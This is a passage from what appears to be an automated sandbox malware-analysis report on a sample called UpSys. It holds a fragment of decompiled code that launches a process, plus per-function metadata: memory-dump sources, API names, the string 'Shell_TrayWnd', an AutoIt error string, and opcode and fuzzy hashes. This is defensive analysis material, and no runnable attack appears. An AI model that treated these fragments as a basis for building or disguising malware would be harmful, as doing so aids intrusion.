				 *0x400c87fc = 1;
				 *0x400c8800 = 1;
				_v56 = 0;
				if (CreateProcessW(??, ??, ??, ??, ??, ??, ??, ??, ??, ??) == 0) goto 0x4003dccc;
				return CloseHandle(??);
			}












                                                                                                                                                                                                        0x14003dc30
                                                                                                                                                                                                        0x14003dc30
                                                                                                                                                                                                        0x14003dc35
                                                                                                                                                                                                        0x14003dc4b
                                                                                                                                                                                                        0x14003dc4b
                                                                                                                                                                                                        0x14003dc52
                                                                                                                                                                                                        0x14003dc60
                                                                                                                                                                                                        0x14003dc60
                                                                                                                                                                                                        0x14003dc67
                                                                                                                                                                                                        0x14003dc6c
                                                                                                                                                                                                        0x14003dc71
                                                                                                                                                                                                        0x14003dc7d
                                                                                                                                                                                                        0x14003dc80
                                                                                                                                                                                                        0x14003dc85
                                                                                                                                                                                                        0x14003dc8a
                                                                                                                                                                                                        0x14003dc92
                                                                                                                                                                                                        0x14003dc9a
                                                                                                                                                                                                        0x14003dca4
                                                                                                                                                                                                        0x14003dcaa
                                                                                                                                                                                                        0x14003dcb1
                                                                                                                                                                                                        0x14003dcbd
                                                                                                                                                                                                        0x14003dcdb

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CloseCreateHandleProcess
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3712363035-3916222277
                                                                                                                                                                                                        • Opcode ID: a2c168fcb0696856599936e1680c8a9440eae9b038134636487b648844414809
                                                                                                                                                                                                        • Instruction ID: 54c385e3bc24a87759b8d944b08da00ef2d24a618054fc3513c58e3831d1f8cb
                                                                                                                                                                                                        • Opcode Fuzzy Hash: a2c168fcb0696856599936e1680c8a9440eae9b038134636487b648844414809
                                                                                                                                                                                                        • Instruction Fuzzy Hash: C9118E32218B40CAE7668F13F90479AB3A2F388BC0F545215FB4947A34CF39C054CB04
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014004E1D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: PerformanceQuery$Counter$FindFrequencyMessagePostSleepWindow
                                                                                                                                                                                                        • String ID: Shell_TrayWnd
                                                                                                                                                                                                        • API String ID: 352592371-2988720461
                                                                                                                                                                                                        • Opcode ID: 6488cdd2a61ab230e9b95d28db6befdb9583cc36efaa935b9287777023e68211
                                                                                                                                                                                                        • Instruction ID: 467cb69eeeadd7de85fcb5fea68ee391b346c2f7fb5090acd00034124b0ef4f4
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 6488cdd2a61ab230e9b95d28db6befdb9583cc36efaa935b9287777023e68211
                                                                                                                                                                                                        • Instruction Fuzzy Hash: A4E05BB171140482F71A57B3EC55FD612519BDC791F5450359F194B7A1DD3C84C58B04
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014004E220 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: PerformanceQuery$Counter$FindFrequencyMessagePostSleepWindow
                                                                                                                                                                                                        • String ID: Shell_TrayWnd
                                                                                                                                                                                                        • API String ID: 352592371-2988720461
                                                                                                                                                                                                        • Opcode ID: 66c6e7c33f741d93a66a826bb61e7098e74f7eb911e3116efcd7a75de8673926
                                                                                                                                                                                                        • Instruction ID: a13afe26b47474d79c8b5879ba458e1e72c34b5a20680edc0becbabb8baa9c87
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 66c6e7c33f741d93a66a826bb61e7098e74f7eb911e3116efcd7a75de8673926
                                                                                                                                                                                                        • Instruction Fuzzy Hash: F5E05BB572040482F7195773EC55FD616519FDC791F4450359F194B7A1DD3C84C58B04
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140044330 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 14windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Message
                                                                                                                                                                                                        • String ID: AutoIt$Error allocating memory.
                                                                                                                                                                                                        • API String ID: 2030045667-4017498283
                                                                                                                                                                                                        • Opcode ID: 601fb3d1cebe87ab6abfd544c134e66a7300daa5c1aa3eb1cb3727fb49445ae8
                                                                                                                                                                                                        • Instruction ID: b9dfe15afe82adcdc6afe42dd8284af41c4ba27e695dd6be504245e20b37ada2
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 601fb3d1cebe87ab6abfd544c134e66a7300daa5c1aa3eb1cb3727fb49445ae8
                                                                                                                                                                                                        • Instruction Fuzzy Hash: A4D0123020264481EB1A6B22A902BD42320AB0C3D8F80080AF60A076B28EBD818AC340
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%